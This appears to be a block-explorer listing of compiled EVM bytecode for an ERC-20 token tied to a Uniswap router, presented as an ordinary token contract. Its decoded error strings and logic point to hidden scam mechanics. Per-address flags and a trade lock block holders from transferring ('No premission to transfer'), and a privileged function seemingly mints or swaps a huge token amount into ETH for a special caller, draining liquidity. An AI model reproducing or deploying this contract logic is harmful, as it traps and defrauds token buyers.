925092565b6000604082019050613d9b6000830185613c70565b613da86020830184613c70565b9392505050565b613db881613bf7565b82525050565b6000602082019050613dd36000830184613daf565b92915050565b600060208284031215613def57613dee613ae3565b5b6000613dfd84828501613b36565b91505092915050565b60008060408385031215613e1d57613e1c613ae3565b5b6000613e2b85828601613b36565b9250506020613e3c85828601613b36565b9150509250929050565b60008060408385031215613e5d57613e5c613ae3565b5b6000613e6b85828601613b6c565b9250506020613e7c85828601613b6c565b9150509250929050565b600080600060608486031215613e9f57613e9e613ae3565b5b6000613ead86828701613b6c565b9350506020613ebe86828701613b6c565b9250506040613ecf86828701613b6c565b9150509250925092565b613ee281613b0d565b82525050565b6000602082019050613efd6000830184613ed9565b92915050565b600060208284031215613f1957613f18613ae3565b5b6000613f2784828501613cde565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613f7757607f821691505b602082108103613f8a57613f89613f30565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613fca82613b4b565b9150613fd583613b4b565b9250828201905080821115613fed57613fec613f90565b5b92915050565b6000819050919050565b6000819050919050565b600061402261401d61401884613ff3565b613ffd565b613b4b565b9050919050565b61403281614007565b82525050565b600060c08201905061404d6000830189613ed9565b61405a6020830188613c70565b6140676040830187614029565b6140746060830186614029565b6140816080830185613ed9565b61408e60a0830184613c70565b979650505050505050565b6000815190506140a881613b55565b92915050565b6000806000606084860312156140c7576140c6613ae3565b5b60006140d586828701614099565b93505060206140e686828701614099565b92505060406140f786828701614099565b9150509250925092565b7f5374617475732073686f756c642062652030206f722031000000000000000000600082015250565b6000614137601783613a32565b915061414282614101565b602082019050919050565b600060208201905081810360008301526141668161412a565b9050919050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b60006141a3601d83613a32565b91506141ae8261416d565b602082019050919050565b600060208201905081810360008301526141d281614196565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b6141fc816141d9565b811461420757600080fd5b50565b600081519050614219816141f3565b92915050565b600063ffffffff82169050919050565b6142388161421f565b811461424357600080fd5b50565b6000815190506142558161422f565b92915050565b60008060006060848603121561427457614273613ae3565b5b60006142828682870161420a565b93505060206142938682870161420a565b92505060406142a486828701614246565b9150509250925092565b6000815190506142bd81613b1f565b92915050565b6000602082840312156142d9576142d8613ae3565b5b60006142e7848285016142ae565b91505092915050565b60006142fb82613b4b565b915061430683613b4b565b925082820390508181111561431e5761431d613f90565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6143b781613b0d565b82525050565b60006143c983836143ae565b60208301905092915050565b6000602082019050919050565b60006143ed82614382565b6143f7818561438d565b93506144028361439e565b8060005b8381101561443357815161441a88826143bd565b9750614425836143d5565b925050600181019050614406565b5085935050505092915050565b600060a0820190506144556000830188613c70565b6144626020830187614029565b818103604083015261447481866143e2565b90506144836060830185613ed9565b6144906080830184613c70565b9695505050505050565b600080fd5b6144a882613a6d565b810181811067ffffffffffffffff821117156144c7576144c6614324565b5b80604052505050565b60006144da613ad9565b90506144e6828261449f565b919050565b600067ffffffffffffffff82111561450657614505614324565b5b602082029050602081019050919050565b600080fd5b600061452f61452a846144eb565b6144d0565b9050808382526020820190506020840283018581111561455257614551614517565b5b835b8181101561457b57806145678882614099565b845260208401935050602081019050614554565b5050509392505050565b600082601f83011261459a5761459961449a565b5b81516145aa84826020860161451c565b91505092915050565b6000602082840312156145c9576145c8613ae3565b5b600082015167ffffffffffffffff8111156145e7576145e6613ae8565b5b6145f384828501614585565b91505092915050565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b6000614658602483613a32565b9150614663826145fc565b604082019050919050565b600060208201905081810360008301526146878161464b565b9050919050565b7f4665652073756d2073686f756c6420626520657175616c20746f203130300000600082015250565b60006146c4601e83613a32565b91506146cf8261468e565b602082019050919050565b600060208201905081810360008301526146f3816146b7565b9050919050565b7f53776170205468726573686f6c642073686f6c6420626520677265617465722060008201527f7468656e20313030300000000000000000000000000000000000000000000000602082015250565b6000614756602983613a32565b9150614761826146fa565b604082019050919050565b6000602082019050818103600083015261478581614749565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006147e8602583613a32565b91506147f38261478c565b604082019050919050565b60006020820190508181036000830152614817816147db565b9050919050565b60006040820190506148336000830185613ed9565b6148406020830184613ed9565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061488182613b4b565b915061488c83613b4b565b92508261489c5761489b614847565b5b828204905092915050565b60006148b282613b4b565b91506148bd83613b4b565b92508282026148cb81613b4b565b915082820484148315176148e2576148e1613f90565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614945602683613a32565b9150614950826148e9565b604082019050919050565b6000602082019050818103600083015261497481614938565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006149d7602483613a32565b91506149e28261497b565b604082019050919050565b60006020820190508181036000830152614a06816149ca565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614a69602283613a32565b9150614a7482614a0d565b604082019050919050565b60006020820190508181036000830152614a9881614a5c565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000614afb602183613a32565b9150614b0682614a9f565b604082019050919050565b60006020820190508181036000830152614b2a81614aee565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000614b67601d83613a32565b9150614b7282614b31565b602082019050919050565b60006020820190508181036000830152614b9681614b5a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614bf9602583613a32565b9150614c0482614b9d565b604082019050919050565b60006020820190508181036000830152614c2881614bec565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614c8b602383613a32565b9150614c9682614c2f565b604082019050919050565b60006020820190508181036000830152614cba81614c7e565b9050919050565b7f45524332303a204e6f207072656d697373696f6e20746f207472616e73666572600082015250565b6000614cf7602083613a32565b9150614d0282614cc1565b602082019050919050565b60006020820190508181036000830152614d2681614cea565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614d89602683613a32565b9150614d9482614d2d565b604082019050919050565b60006020820190508181036000830152614db881614d7c565b9050919050565b7f557365722069736e2774206578636c756465642066726f6d2074726164654c6f60008201527f636b000000000000000000000000000000000000000000000000000000000000602082015250565b6000614e1b602283613a32565b9150614e2682614dbf565b604082019050919050565b60006020820190508181036000830152614e4a81614e0e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614e87602083613a32565b9150614e9282614e51565b602082019050919050565b60006020820190508181036000830152614eb681614e7a565b9050919050565b7f416674657220746869732074786e20757365722077696c6c206578636565642060008201527f6d61782077616c6c657400000000000000000000000000000000000000000000602082015250565b6000614f19602a83613a32565b9150614f2482614ebd565b604082019050919050565b60006020820190508181036000830152614f4881614f0c565b9050919050565b7f54786e20416d6f756e7420746f6f206869676821000000000000000000000000600082015250565b6000614f85601483613a32565b9150614f9082614f4f565b602082019050919050565b60006020820190508181036000830152614fb481614f78565b905091905056fea26469706673582212202af7e3747201aca952c2c0373187b5fdd63e110a254a77fe7db2ec9f0e313cc264736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
Deployed Bytecode
0x60806040526004361061028c5760003560e01c80637e74422e1161015a578063b49f93f7116100c1578063ecbe5a2d1161007a578063ecbe5a2d146109db578063edd8b64a14610a18578063f1fee6a214610a41578063f226cc8b14610a6a578063f2fde38b14610a95578063f6d1dfe114610abe57610293565b8063b49f93f7146108cb578063b5c72e1a146108f4578063d445d19e14610931578063dd62ed3e14610948578063e1370dd314610985578063e4440a86146109b057610293565b806395d89b411161011357806395d89b411461079557806399b102b5146107c0578063a07fc5a2146107fd578063a457c2d714610828578063a9059cbb14610865578063b179ce40146108a257610293565b80637e74422e1461068757806385ecafd7146106b057806389f425e7146106ed5780638da5cb5b146107165780638dd0f411146107415780638ea5220f1461076a57610293565b806335d16274116101fe57806355474ace116101b757806355474ace1461058d5780635a95ca7b146105b65780636db79437146105cd5780636dd3d39f146105f657806370a0823114610633578063715018a61461067057610293565b806335d162741461046d57806339509351146104aa5780634b42c93d146104e75780634d474d42146104fe5780635337cc99146105275780635342acb41461055057610293565b80631c499ab0116102505780631c499ab01461035e5780631f6b29f714610387578063203e727e146103b057806323b872dd146103d95780632df8bca914610416578063313ce5671461044257610293565b806306fdde0314610298578063095ea7b3146102c35780630bc488c5146103005780630cdd84361461030a57806318160ddd1461033357610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610ae9565b6040516102ba9190613ab7565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190613b81565b610b7b565b6040516102f79190613bdc565b60405180910390f35b610308610b97565b005b34801561031657600080fd5b50610331600480360381019061032c9190613c30565b610ccf565b005b34801561033f57600080fd5b50610348610e31565b6040516103559190613c7f565b60405180910390f35b34801561036a57600080fd5b5061038560048036038101906103809190613c9a565b610e3b565b005b34801561039357600080fd5b506103ae60048036038101906103a99190613cf3565b610e71565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190613c9a565b610f8a565b005b3480156103e557600080fd5b5061040060048036038101906103fb9190613d33565b610fc0565b60405161040d9190613bdc565b60405180910390f35b34801561042257600080fd5b5061042b610fe8565b604051610439929190613d86565b60405180910390f35b34801561044e57600080fd5b50610457610ff9565b6040516104649190613dbe565b60405180910390f35b34801561047957600080fd5b50610494600480360381019061048f9190613dd9565b611010565b6040516104a19190613c7f565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190613b81565b6111a5565b6040516104de9190613bdc565b60405180910390f35b3480156104f357600080fd5b506104fc6111d5565b005b34801561050a57600080fd5b5061052560048036038101906105209190613dd9565b61126c565b005b34801561053357600080fd5b5061054e60048036038101906105499190613cf3565b6112dc565b005b34801561055c57600080fd5b5061057760048036038101906105729190613dd9565b6113f5565b6040516105849190613bdc565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af9190613e06565b61144b565b005b3480156105c257600080fd5b506105cb6114fd565b005b3480156105d957600080fd5b506105f460048036038101906105ef9190613e46565b6117ef565b005b34801561060257600080fd5b5061061d60048036038101906106189190613dd9565b61187e565b60405161062a9190613bdc565b60405180910390f35b34801561063f57600080fd5b5061065a60048036038101906106559190613dd9565b6118d4565b6040516106679190613c7f565b60405180910390f35b34801561067c57600080fd5b5061068561191d565b005b34801561069357600080fd5b506106ae60048036038101906106a99190613e86565b611931565b005b3480156106bc57600080fd5b506106d760048036038101906106d29190613dd9565b6119d0565b6040516106e49190613bdc565b60405180910390f35b3480156106f957600080fd5b50610714600480360381019061070f9190613c9a565b6119f0565b005b34801561072257600080fd5b5061072b611a6a565b6040516107389190613ee8565b60405180910390f35b34801561074d57600080fd5b5061076860048036038101906107639190613cf3565b611a93565b005b34801561077657600080fd5b5061077f611bac565b60405161078c9190613ee8565b60405180910390f35b3480156107a157600080fd5b506107aa611bd2565b6040516107b79190613ab7565b60405180910390f35b3480156107cc57600080fd5b506107e760048036038101906107e29190613dd9565b611c64565b6040516107f49190613bdc565b60405180910390f35b34801561080957600080fd5b50610812611cba565b60405161081f9190613bdc565b60405180910390f35b34801561083457600080fd5b5061084f600480360381019061084a9190613b81565b611cd1565b60405161085c9190613bdc565b60405180910390f35b34801561087157600080fd5b5061088c60048036038101906108879190613b81565b611d41565b6040516108999190613bdc565b60405180910390f35b3480156108ae57600080fd5b506108c960048036038101906108c49190613cf3565b611d5d565b005b3480156108d757600080fd5b506108f260048036038101906108ed9190613f03565b611e76565b005b34801561090057600080fd5b5061091b60048036038101906109169190613dd9565b611ebf565b6040516109289190613bdc565b60405180910390f35b34801561093d57600080fd5b50610946611f28565b005b34801561095457600080fd5b5061096f600480360381019061096a9190613e06565b611f5e565b60405161097c9190613c7f565b60405180910390f35b34801561099157600080fd5b5061099a611fe5565b6040516109a79190613c7f565b60405180910390f35b3480156109bc57600080fd5b506109c5611fef565b6040516109d29190613ee8565b60405180910390f35b3480156109e757600080fd5b50610a0260048036038101906109fd9190613dd9565b612015565b604051610a0f9190613bdc565b60405180910390f35b348015610a2457600080fd5b50610a3f6004803603810190610a3a9190613dd9565b61206b565b005b348015610a4d57600080fd5b50610a686004803603810190610a639190613e06565b6120db565b005b348015610a7657600080fd5b50610a7f61232f565b604051610a8c9190613c7f565b60405180910390f35b348015610aa157600080fd5b50610abc6004803603810190610ab79190613dd9565b61237c565b005b348015610aca57600080fd5b50610ad36123ff565b604051610ae09190613c7f565b60405180910390f35b606060088054610af890613f5f565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2490613f5f565b8015610b715780601f10610b4657610100808354040283529160200191610b71565b820191906000526020600020905b815481529060010190602001808311610b5457829003601f168201915b5050505050905090565b600080339050610b8c818585612409565b600191505092915050565b610bc333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b610bd530610bd0336118d4565b611d41565b50610c0b30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c06306118d4565b612409565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610c54306118d4565b600080336104b042610c669190613fbf565b6040518863ffffffff1660e01b8152600401610c8796959493929190614038565b60606040518083038185885af1158015610ca5573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cca91906140ae565b505050565b610cfb33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b60028160ff1610610d41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d389061414d565b60405180910390fd5b601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff1603610dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcc906141b9565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000600754905090565b610e6733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b8060148190555050565b610e9d33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b801515601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610f2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f26906141b9565b60405180910390fd5b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610fb633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b8060168190555050565b600080339050610fd1858285612644565b610fdc8585856126d0565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015611082573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a6919061425b565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015611131573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115591906142c3565b73ffffffffffffffffffffffffffffffffffffffff161461118657816dffffffffffffffffffffffffffff16611198565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b6000803390506111ca8185856111bb8589611f5e565b6111c59190613fbf565b612409565b600191505092915050565b61120133600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611269573d6000803e3d6000fd5b50565b61129833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61130833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b801515600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361139a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611391906141b9565b60405180910390fd5b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61147733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b81600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b61152933600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b600061153430611010565b90506000816dffffffffffffffffffffffffffff801661155491906142f0565b905061155e613026565b6115703061156b336118d4565b611d41565b506115ae30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016612409565b6060600267ffffffffffffffff8111156115cb576115ca614324565b5b6040519080825280602002602001820160405280156115f95781602001602082028036833780820191505090505b509050308160008151811061161157611610614353565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116dc91906142c3565b816001815181106116f0576116ef614353565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b0426117809190613fbf565b6040518663ffffffff1660e01b81526004016117a0959493929190614440565b6000604051808303816000875af11580156117bf573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906117e891906145b3565b5050505050565b61181b33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b6064821115801561182d575060648111155b61186c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118639061466e565b60405180910390fd5b81600b8190555080600c819055505050565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61192561308e565b61192f6000613105565b565b61195d33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b606481838561196c9190613fbf565b6119769190613fbf565b146119b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ad906146da565b60405180910390fd5b826010819055508160118190555080601281905550505050565b600f6020528060005260406000206000915054906101000a900460ff1681565b611a1c33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b6127108111611a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a579061476c565b60405180910390fd5b8060138190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611abf33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b801515601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b48906141b9565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060098054611be190613f5f565b80601f0160208091040260200160405190810160405280929190818152602001828054611c0d90613f5f565b8015611c5a5780601f10611c2f57610100808354040283529160200191611c5a565b820191906000526020600020905b815481529060010190602001808311611c3d57829003601f168201915b5050505050905090565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601860009054906101000a900460ff16905090565b6000803390506000611ce38286611f5e565b905083811015611d28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1f906147fe565b60405180910390fd5b611d358286868403612409565b60019250505092915050565b600080339050611d528185856126d0565b600191505092915050565b611d8933600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b801515601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e12906141b9565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611ea233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b80601860006101000a81548160ff02191690831515021790555050565b600080601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614611f1e576001611f21565b60005b9050919050565b611f5433600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b611f5c613026565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601454905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61209733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61210733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461219e5781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561224c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061227091906142c3565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b81526004016122aa92919061481e565b602060405180830381865afa1580156122c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122eb91906142c3565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60008060026012546123419190614876565b905080606461234f306118d4565b6123599190614876565b61236391906148a7565b61236c306118d4565b61237691906142f0565b91505090565b61238461308e565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036123f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ea9061495b565b60405180910390fd5b6123fc81613105565b50565b6000601654905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612478576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246f906149ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036124e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124de90614a7f565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516125c59190613c7f565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612640576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161263790614b11565b60405180910390fd5b5050565b60006126508484611f5e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146126ca57818110156126bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b390614b7d565b60405180910390fd5b6126c98484848403612409565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361273f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273690614c0f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a590614ca1565b60405180910390fd5b6127b783611ebf565b156127f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ee90614d0d565b60405180910390fd5b6128028383836131c9565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612889576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288090614d9f565b60405180910390fd5b601860009054906101000a900460ff16156129da576128a784613448565b1561293d57601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161292f90614e31565b60405180910390fd5b6129d9565b61294683613448565b156129d857601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166129d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ce90614e31565b60405180910390fd5b5b5b5b6129e3846113f5565b1580156129f657506129f4836113f5565b155b15612f0a57612a0484613448565b15612bfa576000612a1783600b546134fa565b90508282612a2591906142f0565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083612a7491906142f0565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612ac29190613fbf565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612b2491906142f0565b604051612b319190613c7f565b60405180910390a380600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b889190613fbf565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612bec9190613c7f565b60405180910390a350612f05565b612c0383613448565b15612df9576000612c1683600c546134fa565b90508282612c2491906142f0565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083612c7391906142f0565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612cc19190613fbf565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612d2391906142f0565b604051612d309190613c7f565b60405180910390a380600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612d879190613fbf565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612deb9190613c7f565b60405180910390a350612f04565b8181612e0591906142f0565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815